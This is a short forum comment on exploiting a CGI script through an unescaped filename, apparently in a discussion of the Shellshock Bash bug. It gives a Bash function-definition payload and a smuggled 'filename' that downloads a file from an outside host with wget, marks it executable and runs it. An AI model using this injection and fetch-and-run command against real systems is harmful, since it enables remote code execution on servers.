3 ms·
You don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.: env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax
by colanderman 12y ago
You don't even need FAT if the CGI script doesn't properly escape spaces in filenames. e.g.:
env X='() { (a)=>\' sh -c "unzip wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax"
(the "filename" here being "wget -O /tmp/hax 8.8.8.8:hax; chmod 777 /tmp/hax; /tmp/hax")